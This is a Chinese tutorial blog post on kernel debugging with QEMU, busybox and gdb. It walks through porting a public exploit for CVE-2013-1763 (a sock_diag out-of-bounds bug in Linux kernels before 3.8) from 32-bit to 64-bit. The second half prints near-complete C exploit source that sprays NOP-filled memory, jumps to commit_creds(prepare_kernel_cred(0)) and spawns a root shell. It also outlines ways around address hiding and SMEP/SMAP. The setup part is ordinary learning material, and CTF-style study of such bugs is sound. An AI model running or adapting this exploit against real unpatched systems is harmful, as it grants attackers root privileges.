新手向———内核调试(上)

阅读量    82157 |   稿费 400

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

在当前CTF比赛中,kernel pwn类型的题目还是比较少,18年国内大型比赛中,仅强网杯出过几题。然,网上虽资料不少,但涉及内核过程,函数调用链复杂,但看出题思路和复现exp,总觉差那么点意思。而网上这类题又比较少,对初学者很不友好。我决定从调试真实环境内核漏洞来学习内核花样百出的攻击手段,若有不实不详之处,希望各位师傅指点。

本文主要分为四个部分,首先说明如何在单机环境下搭建内核调试窗口,其次会讲解cve-2013-1763从32位移植到64位,再讲解让exp可以绕过缓解机制,最后由对内核调试上篇做一个总结。可能讲解有些零散,但思路肯定是连贯的。

  • 内核调试环境配置
  • 移植cve-2013-1763
  • 绕过内核缓解机制
  • 总结

 

内核调试环境配置

在单机中调试其他内核,你需要三个组成部件,其一是虚拟化的环境搭建,其二是对应内核版本的二进制库文件,其三是操作系统的启动初始化文件。拥有了这三个部分,你就可以进行比较舒适的调试了。

其一

虚拟化的环境搭建,选择的是qemu这款堪称虚拟化的鼻祖软件,虽然因为连芯片也一起虚拟导致运行速度变慢,但它也结合了真实芯片辅助加速的KVM,支持其他芯片架构的功能,简直就是交叉编译的神器。

(我不会说因为看到ctf里的启动脚本都用qemu才来学习)

QEMU(quick emulator)是一款由Fabrice Bellard等人编写的免费的可执行硬件虚拟化的(hardware virtualization)开源托管虚拟机(VMM)。
其与Bochs,PearPC类似,但拥有高速(配合KVM),跨平台的特性。
QEMU是一个托管的虚拟机镜像,它通过动态的二进制转换,模拟CPU,并且提供一组设备模型,使它能够运行多种未修改的客户机OS,可以通过与KVM(kernel-based virtual machine开源加速器)一起使用进而接近本地速度运行虚拟机(接近真实计算机的速度)。
QEMU还可以为user-level的进程执行CPU仿真,进而允许了为一种架构编译的程序在另外一中架构上面运行(借由VMM的形式)。

值得注意的是,qemu对主流的架构和芯片都有不错的模拟性能,不常见的,额,还是焊个板子自己干吧。

其二

Firstly,查看清楚自己想要调试的内核漏洞对应的版本范围,在其中任选一款稳定版本下载就行。下载地址在此。要注意的是,其中tar的压缩方式有好多种,下载完如何解压缩,就充当是学习linux常用命令。

  1. *.tar.xz 用 tar -xvf 解压
  2. .tar.gz和.tgz 用 tar -xzf 解压
  3. *.tar.bz2用tar -xjf 解压

Secondly,查找明白解压完毕,将要编译的内核和本身的gcc编译器符不符合。符合,就可以继续下一步;不符合,就要安装旧的gcc编译器。要注意的是,有些版本的gcc发布了,但没有默认安装在linux发行版的默认安装仓库里,所以需要自己去gcc官网下载安装。

  1. 先看看我们系统用的gcc是什么版本

    gcc —version

  2. 发现编译时gcc版本报错,安装低版本的gcc

    sudo apt-get install gcc-4.4 gcc-4.4-multilib

  3. 不安装g++的原因是因为,linux内核是纯C编写的,版本切换安装

    sudo update-alternatives —install /usr/bin/gcc gcc /usr/bin/gcc-4.4 40
    sudo update-alternatives —install /usr/bin/gcc gcc /usr/bin/gcc-5 50

  4. 现在可以进行版本切换了,选择版本输出入第一列的编号

    sudo update-alternatives —config gcc

Thirdly,安装好一些额外的依赖库后,就可以进入menuconfig
中去设置参数。它是个图形界面,有非常好的操作性,比起一个个选项参数在编译时去Yes or No,真是好了很多。

apt-get install libncurses5-dev build-essential kernel-package
make menuconfig

配置一下编译参数,注意就是修改下面列出的一些选项
由于我们需要使用gdb调试内核,注意下面这几项一定要配置好

  1. 在KernelHacking —>
  • 选中 Compile the kernel with debug info
  • 选中 Compile the kernel with frame pointers
  • 选中 KGDB:kernel debugging with remote
  1. 在Processor type and features—>
  • 取消 Paravirtualized guest support
  1. KernelHacking—>
  • 取消 Write protect kernel read-only data structures

当然,因为版本的不同,有些选项不见或者有细微的变化,多查阅资料也能熟练掌握,其次为了观察slab的分配,也有专门的slab info参数来选择。

Fourthly,接下来,就是长达二、三个小时的编译,你可以去追追最新的番剧了。

make all
或者
make install
make modules

编译过程中,[M]开头的其实是驱动模块,其实可以分开编译,不过好像速度也没提高多少,还是看最新番剧吧。其中有错误,多半是源码写错或和现在不符,要修补下.c文件。再看不懂报错的,去stackflow上碰碰运气吧。

其三

启动内核还需要一个简单的文件系统和一些启动命令,可以使用busybox 构建。busybox是一个大牛写的精巧文件系统,适合快速编译启动模块。

BusyBox是一个遵循GPL协议、以自由软件形式发行的应用程序。Busybox在单一的可执行文件中提供了精简的Unix工具集,可运行于多款POSIX环境的操作系统,例如Linux(包括Android)、Hurd、FreeBSD等等。由于BusyBox可执行文件的文件大小比较小、并通常使用Linux内核,这使得它非常适合使用于嵌入式系统。作者将BusyBox称为“嵌入式Linux的瑞士军刀”。

Firstly下载地址在此。下载完成后,需要解压和编译。同时在编译前,也要配置编译的一些参数

make menuconfig

  1. Busybox Settings -> Build Options ->
  • 选中 Build Busybox as a static binary
  1. Uinux System Utilities ->
  • 取消 Support mounting NFS file system 网络文件系统
  1. Networking Utilities ->
  • 取消 inetd (Internet超级服务器)

make install

Secondly,需要构建文件系统。编译完成后,在busybox源代码的根目录下会有一个_install目录下会存放好编译后的文件。而你需要在其中添加一些东西。

cd _install
mkdir proc sys dev etc etc/init.d
vim etc/init.d/rcS

在启动脚本rcS中的代码为:

#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
/sbin/mdev -s

主要挂载了两个文件夹,不过最后一句创建设备节点的速度真心慢,不知道为什么有些比赛题目就启动得非常快。最后别忘了,给它加上执行权限

chmod +x etc/init.d/rcS

最后的_install目录下的文件成品:

Thirdly,对于目录下的文件打包成一个镜像文件,每次打包时,都别把上次的镜像文件包进去

find . | cpio -o —format=newc > rootfs.img

为了方便,可以在开启脚本里,编入打包命令,让它每次开启时都可以自动打包。同时,为了提权,总是要创建个低权限用户的shell脚本,也编写入_install目录中。

其四

编写qemu运行内核的脚本

qemu-system-x86_64  #选择qemu的模式和你编译内核时的环境变量有关
-kernel ./home/.../arch/x86_64/boot/bzImage  #内核的二进制库
-initrd ./home/.../rootfs.img  #启动的镜像
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init"  #添加的参数,指明控制台,特权,初始路径
-cpu kvm64,+smep  #前者是加速器,后者是内核保护模式
--nographic -gdb tcp::1234 #设置为无图形界面,同时和gdb连1234端口,也可以写成 -s

使用gdb进行远程调试

重点终于来了,gdb首先要导入对应内核的二进制库,里面有各种符号表和函数地址的对应关系。其次,还需要在关键的地方断点方便进行调试。那么问题来了,如果像比赛题目那样,有外来驱动模块导入,那么gdb可以断外来驱动上任意函数地址。但如果只是在内核内部运行,没有其他辅助点可以断,那怎么调试exp呢。后来想明白了,exp里肯定会调用这些内核函数,所以环境设置简单点,去除内核随机化,找到有缺陷的函数地址,然后在gdb中给这些地址下断点。

如果要加载驱动的符号文件,先需要在已经运行的内核里去获取驱动模块的基址,它一般在/proc/modules里。

gdb -q ./vmlinux
target remote:1234
add-symbol-file xxx.ko 0xffffxxx

如果是要找内核内部的函数,可以在/proc/kallsyms文件里寻找到,管道操作grep大家应该都会的吧。

 

移植cve-2013-1763

我查阅了一些最近几年的真实linux内核漏洞,它们角度刁钻,原理复杂,竞态多线程跑poc,没个把小时出不了结果。hackerone上有人问作者,这poc不对啊,我跑了一小时都没跑出来。作者回复他说,我拿128g的机器跑了10分钟就可以出来了呀。我想想我的小破烂电脑,还不如去追最新的番剧呢。还是找个稍显简单的漏洞来复现,让初学者也能尝到。

漏洞概述

先看看cve官网对这个漏洞的介绍,在内核3.7.10版本及之前的内核都受到这个漏洞的影响。

那为什么一些详解里是3.3~3.8呢,额,因为3.7.10是3.7的最后一个版本,而3.3之前就没引进sock_diag_rcv_msg这个函数,所以也就没有利用的框架。

网上关于它的漏洞讲解也有几个版本,而其中的exp都是一个牛人写的32位的提权验证。我因为初来乍到,直接编译了一个64位的内核,一想到再去编译个32位的版本,就不提要修改后缀名为.bin这样的麻烦事,至少又是二、三个小时的等待,而我新番都看完了。所以我立刻打算明白原理后,移植它到64位内核上提权,顺便就像做一道kernel pwn的练习题了。

漏洞分析

可以从下图看出多加了sdiag_family的检验语句,并且也就修改了这一处,很明显,这是一个关于数组越界的溢出漏洞。

网上的原理讲解的其实满清晰的,主要可能是自己菜,反复读后才发现关键点文中已经指出了。现在,根据我的总结,快速来上手。看三处代码:

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
    int err;
    struct sock_diag_req *req = NLMSG_DATA(nlh);
    struct sock_diag_handler *hndl;

    if (nlmsg_len(nlh) < sizeof(*req))//只判断小,没判断大
        return -EINVAL;

    hndl = sock_diag_lock_handler(req->sdiag_family);//仅仅加锁
    if (hndl == NULL)//那它肯定不是NULL喽
        err = -ENOENT;
    else
        err = hndl->dump(skb, nlh);//exp的突破口
    sock_diag_unlock_handler(hndl);

    return err;
}

__sock_diag_rcv_msg函数位于进程通讯函数链的一员,可以利用netlink协议来创建socket并发送数据触发数组越界的这个断点。从代码中可以看出,dump函数是一个利用的点,具体在后面动态调试中看出。

struct sock_diag_handler {
    __u8 family;//在64位里,就是8个字节
    int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);//虽没有源码详解,根据调试,是直接运行第一位地址上的值
};

结构体sock_diag_handler也需要查看来明白它定义了什么。

struct nl_pid_hash {
    struct hlist_head *table;
    unsigned long rehash_time;//这个值随机在一定范围内,可控

    unsigned int mask;
    unsigned int shift;

    unsigned int entries;
    unsigned int max_shift;

    u32 rnd;
};

struct netlink_table {
    struct nl_pid_hash hash;//上方是结构体的详细介绍
    struct hlist_head mc_list;
    struct listeners __rcu *listeners;
    unsigned int nl_nonroot;
    unsigned int groups;
    struct mutex *cb_mutex;
    struct module *module;
    int registered;
};

这个结构体,你要问我怎么找出来的,我也回答不上来。只能说是一位六年前就对内核很精通的大牛,他发现在内核进程中,nl_table(struct netlink_table)sock_diag_handlers(struct sock_diag_handler)的距离很近,而且还是在下方,可以被溢出到。同时,它的hash(struct nl_pid_hash)—>rehash_time虽然是个随机值,但是却永远落在一定范围内,可以通过堆风水的方式来利用它。

那么,思路就很明确了,只剩下如何构造数据包和利用链。

修改exp

Firstly,说到netlink消息数据包,我们只需要这个包能经过__sock_diag_rcv_msg就行,那么只需要它的请求格式符合结构体:

struct
{
    struct nlmsghdr nlh;
    struct unix_diag_req r;
 } req;

查阅资料时,发现请求头必须是nlmsghdr结构体,但数据区也可以是inet_diag_req或者inet_diag_req_v2结构体。

struct unix_diag_req {
    __u8    sdiag_family;
    __u8    sdiag_protocol;
    __u16    pad;
    __u32    udiag_states;
    __u32    udiag_ino;
    __u32    udiag_show;
    __u32    udiag_cookie[2];
};

struct inet_diag_req {
    __u8    idiag_family;        /* Family of addresses. */
    __u8    idiag_src_len;
    __u8    idiag_dst_len;
    __u8    idiag_ext;        /* Query extended information */

    struct inet_diag_sockid id;

    __u32    idiag_states;        /* States to dump */
    __u32    idiag_dbs;        /* Tables to dump (NI) */
};
struct inet_diag_sockid {
    __be16    idiag_sport;
    __be16    idiag_dport;
    __be32    idiag_src[4];
    __be32    idiag_dst[4];
    __u32    idiag_if;
    __u32    idiag_cookie[2];
};

最主要的还是unix_diag_req结构最简单,利用起来最方便。

Secondly,需要计算出family的取值到底要多少,不能大也不能小。

在32位里,family = (nl_table – sock_diag_handlers)/4
显然,在64位里,family = (nl_table – sock_diag_handlers)/8

现在的问题是如何获取这两个结构体的具体地址,如果内核设置kernel.kptr_restrict=0,那么我们可以直接从/proc/kallsyms里获取,如果禁止,那连/boot/linux-image-xxx-generic里也无法获取。

Thirdly,因为32位的exp可以搜到,链接放在文后,所以我就选取一些修改点来分析。

[...]
int jump_payload_not_used(void *skb, void *nlh)
{
  asm volatile (
    "mov $kernel_code, %eaxn"
    "call *%eaxn"
  );
}

[...]
    //填充数据包,就是为了最终能够执行到__sock_diag_rcv_msg中去
  memset(&req, 0, sizeof(req));
  req.nlh.nlmsg_len = sizeof(req);
  req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
  req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
  req.nlh.nlmsg_seq = 123456;

  req.r.udiag_states = -1;
  req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
 [...]
  unsigned long mmap_start, mmap_size;
  mmap_start = 0x10000;  //选择了一块1MB多的内存区域
  mmap_size = 0x120000;  
  printf("mmapping at 0x%lx, size = 0x%lxn", mmap_start, mmap_size);

        if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap faultn");
                exit(1);
        }
  memset((void*)mmap_start, 0x90, mmap_size);         //将其全部填充为0x90,在X86系统中对应的是NOP指令

  char jump[] = "x55x89xe5xb8x11x11x11x11xffxd0x5dxc3"; // jump_payload in asm
  unsigned long *asd = &jump[4];
  *asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11

  memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

  [...]

大牛的利用思路是,获取rehash_time大致取值范围,然后在那块区域布满nop指令用于堆喷,再写一个提权子函数后,利用很巧妙的手法,塞进区域的最后,由call xxx来成功突破。换言之,32位转变成64位,最重要的就是获取64位下rehash_time的范围,就是64位的指令格式和长度不同,还有就是数据类型大小也有所不同。

Fourthly,写出64位下的jump_payload汇编语句后,靠objdump来编译出机器码,值得注意的是,64位里,你设置的跳转地址不同,机器码也会有所不同。

接下来需要调试出64位里rehash_time的位置,这会在下节讲。等到这两点都获取了,那么64位的exp也差不多写成了。

#include<stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;
int __attribute__((regparm(3))) //获取root权限
kernel_code()
{
    commit_creds(prepare_kernel_cred(0));
    //return -1;
}
int jump_payload_not_used(void *skb, void *nlh)
{
    asm volatile (
        "mov $kernel_code, %raxn"
        "call *%raxn"
    );
}
unsigned long
get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy, sym[512];
    int ret = 0;

    f = fopen("/proc/kallsyms", "r");
    if (!f) {
        return 0;
    }

    while (ret != EOF) {
        ret = fscanf(f, "%p %c %sn", (void **) &addr, &dummy, sym);
        if (ret == 0) {
            fscanf(f, "%sn", sym);
            continue;
        }
        if (!strcmp(name, sym)) {
            printf("[+] resolved symbol %s to %pn", name, (void *) addr);
            fclose(f);
            return addr;
        }
    }
    fclose(f);
    return 0;
}
int main(int argc, char*argv[])
{
    int fd;
    unsigned family;
    struct {
        struct nlmsghdr nlh;
        struct unix_diag_req r;
    } req;
    char buf[8192];
    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
        printf("Can't create sock diag socketn");
        return -1;
    }
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = sizeof(req);
    req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
    req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
    req.nlh.nlmsg_seq = 123456;
    //req.r.sdiag_family = 99;
    req.r.udiag_states = -1;
    req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

       commit_creds = (_commit_creds) get_symbol("commit_creds");
      prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
      sock_diag_handlers = get_symbol("sock_diag_handlers");
      nl_table = get_symbol("nl_table");

      if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
        printf("some symbols are not available!n");
        exit(1);
        }
      family = (nl_table - sock_diag_handlers) / 8;
      printf("family=%dn",family);
      if(family>255){
        printf("nl_table is too far!n");
        exit(1);
        }
      req.r.sdiag_family = family;
    unsigned long mmap_start, mmap_size;
    mmap_start = 0xfffd0000;
    mmap_size = 0x20000;
    printf("mmapping at 0x%lx, size = 0x%lxn", mmap_start, mmap_size);
        if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap faultn");
                exit(1);
        }
    memset((void*)mmap_start, 0x90, mmap_size); //将申请的内存区域全部填充为nop
    char jump[] = "x55x48x89xe5x48xb8x11x11x11x11x11x11x11x11xffxd0x5dxc3"; // jump_payload in asm
    unsigned long *asd =(unsigned long *)&jump[6];  
    //将x11全部替换成kernel_code
    *asd = (unsigned long)kernel_code;
     printf("[+] kernel_code: %pn",(void *) kernel_code);
    //把jump_payload放进mmap的内存的最后
    memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

    send(fd, &req, sizeof(req), 0); //发送socket触发漏洞
    printf("uid=%d, euid=%dn",getuid(), geteuid() );
    system("/bin/sh");
}

调试过程

首先,要下内核断点,这里选取的是__sock_diag_rcv_msg函数,它离调用点很近。

其次,查看结构体netlink_table的子结构体nl_pid_hash的子成员rehash_time的值。多次调试可以知道取值范围。

然后,查看(dump )函数的汇编代码流程,查看正常和溢出时不一样的变化。


可以看出,正常rax已经为零,不再去执行(dump)函数,而伪造的继续执行。

接着,查看shellcode流的走向。

最后,成功提权,拿到了root权限,虽然这是在毫无内核保护机制之下。

 

简单绕过

内核最常见的是内核地址随机化保护(kaslr),但是查看exp流程,你会发现,基本没有需要突破kaslr的地方,因为地址已经被泄露出来了。那么,如果kernel.kptr_restrict=1的时候,地址被封禁,也就是没办法去调用符号的地址。这个时候也不可以查看dmesg日志里的报错信息,因为进程间通信错误会使内核这一板块失效,之后再去运行时就会卡死。

但我们也不是没有办法,根据反复调试,每个linux版本里这两个结构体的相对位置大致不变。可以编写自动化脚本,给一个固定的值,反复重启爆破出某次正好凑齐的值。

之后还有smepsmap的内核禁止执行用户空间代码的保护,绕过这种保护,一般使用rop来突破,就像一般pwn题用它来绕过NX一样。但是,这内核空间里没有可以直接利用的栈空间,连一句rop也无法执行。比较少见的方式是去修改使内核误以为用户空间页是内核空间页。两者详细利用,我都会在下篇里进行讲述,下篇也会调试几个最近有关虚拟页表的内核cve漏洞。
我绝对不会说JOJO的奇妙冒险更新了,我赶着去看,所以不想再往下写了。

 

上篇总结

内核调试总是要走很多弯路,幸好很多坑前辈已经帮你踩过,你也在常规的pwn题里跌倒过,最后上手总是快些。但是密密麻麻的函数流程,比python难上手的linux下的C编程,总是令人恐惧。这是无可奈何的事,田园时代已过,未来只会更加凶险。你能做到就是盯着它看,代码烂熟于心,就算找不到漏洞,那至少也是一名内核工程师了。
上篇主要还是讲了讲调试内核的入门,分析的漏洞也是一个较为明显的越界,也怪我懒散,拖拖拉拉到现在才写完。那我们就在猴年马月的下篇再见了。

 

参考资料

(1).https://bbs.pediy.com/thread-178397.htm
(2).https://www.cnblogs.com/ck1020/p/7118236.html
(3).http://m4x.fun/post/linux-kernel-pwn-abc-1/#get-root-shell

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多